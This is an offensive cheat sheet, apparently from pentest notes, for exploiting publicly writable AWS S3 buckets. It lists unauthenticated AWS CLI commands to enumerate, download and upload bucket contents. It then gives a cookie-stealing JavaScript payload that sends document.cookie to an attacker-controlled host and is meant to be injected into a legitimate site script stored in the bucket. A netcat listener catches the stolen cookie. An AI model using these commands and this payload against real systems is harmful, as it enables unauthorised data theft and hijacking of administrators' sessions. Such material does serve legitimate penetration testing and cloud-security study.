# World-Writable S3 Buckets

## World-Writable S3 Buckets Exploitation

#### Steps and commands

**1) Create a directory to possibly download all assets within the bucket locally**

```
mkdir TARGET_BUCKET_NAME; cd TARGET_BUCKET_NAME/ 
```

**2) List all content of the bucket recursively WITHOUT authentication**

```
aws s3 ls s3://BUCKET_NAME-BUCKET_ID --recursive --no-sign-request 
```

**3) Download all bucket contents at your current directory**

```
aws s3 cp s3://BUCKET_NAME-BUCKET_ID . --recursive --no-sign-request 
```

**4) Check for misconfigured bucket ACLs. This is optional**

```
aws s3api get-bucket-acl --bucket BUCKET_NAME-BUCKET_ID --no-sign-request 
```

**5) Likewise for file ACLs**

```
aws s3api get-object-acl --bucket BUCKET_NAME-BUCKET_ID --key EXAMPLE/FILE.TXT --no-sign-request 
```

**6) Go to a directory of our downloaded bucket content**

```
cd EXAMPLE/ 
```

**7) Create a test file to test for World-Writable Access in the bucket**

```
echo test > test 
```

**8) Upload our test file to the bucket**

```
aws s3 cp test s3://BUCKET_NAME-BUCKET_ID/EXAMPLE/test --no-sign-request 
```

**9) Verify that our file has been uploaded successfully**

```
aws s3 cp test s3://BUCKET_NAME-BUCKET_ID/EXAMPLE/test - --no-sign-request 
```

### Alternate method to check for world read/writeable S3 Buckets: AWS macie2

```
aws macie2 describe-buckets --region REGION  --criteria '{"publicAccess.effectivePermission":{"eq":["PUBLIC"]}}' --query 'buckets[*].{BucketName: bucketName, AllowsPublicReadAccess: publicAccess.permissionConfiguration.bucketLevelPermissions.bucketPolicy.allowsPublicReadAccess, AllowsPublicWriteAccess: publicAccess.permissionConfiguration.bucketLevelPermissions.bucketPolicy.allowsPublicWriteAccess}' --output table
```

## Use case example: Steal admin cookie

#### If we have verified that we can actually write arbitrary files on a bucket, and the webapp has pages that can only be accessed by privileged users, we can steal their session cookies by overwriting a legitimate .js file with our own malicious code.

### Code:

```
var xhr=new XMLHttpRequest();

xhr.open("GET", "http://localhost:8000/?"+document.cookie, true); 

xhr.send();
```

#### Backup the .js file first

```
cp legit.js legit.js.bak
```

#### Place this payload before the legitimate contents of the file. Don't forget to change localhost with your corresponding IP address

#### Then upload the file to the bucket

```
aws s3 cp legit.js s3://BUCKET_NAME-BUCKET_ID/example/legit.js --no-sign-request
```

#### Setup listener to fetch the cookie if the webapp uses automation, or an admin somehow triggers our payload

```
nc -lvnp 8000 
```
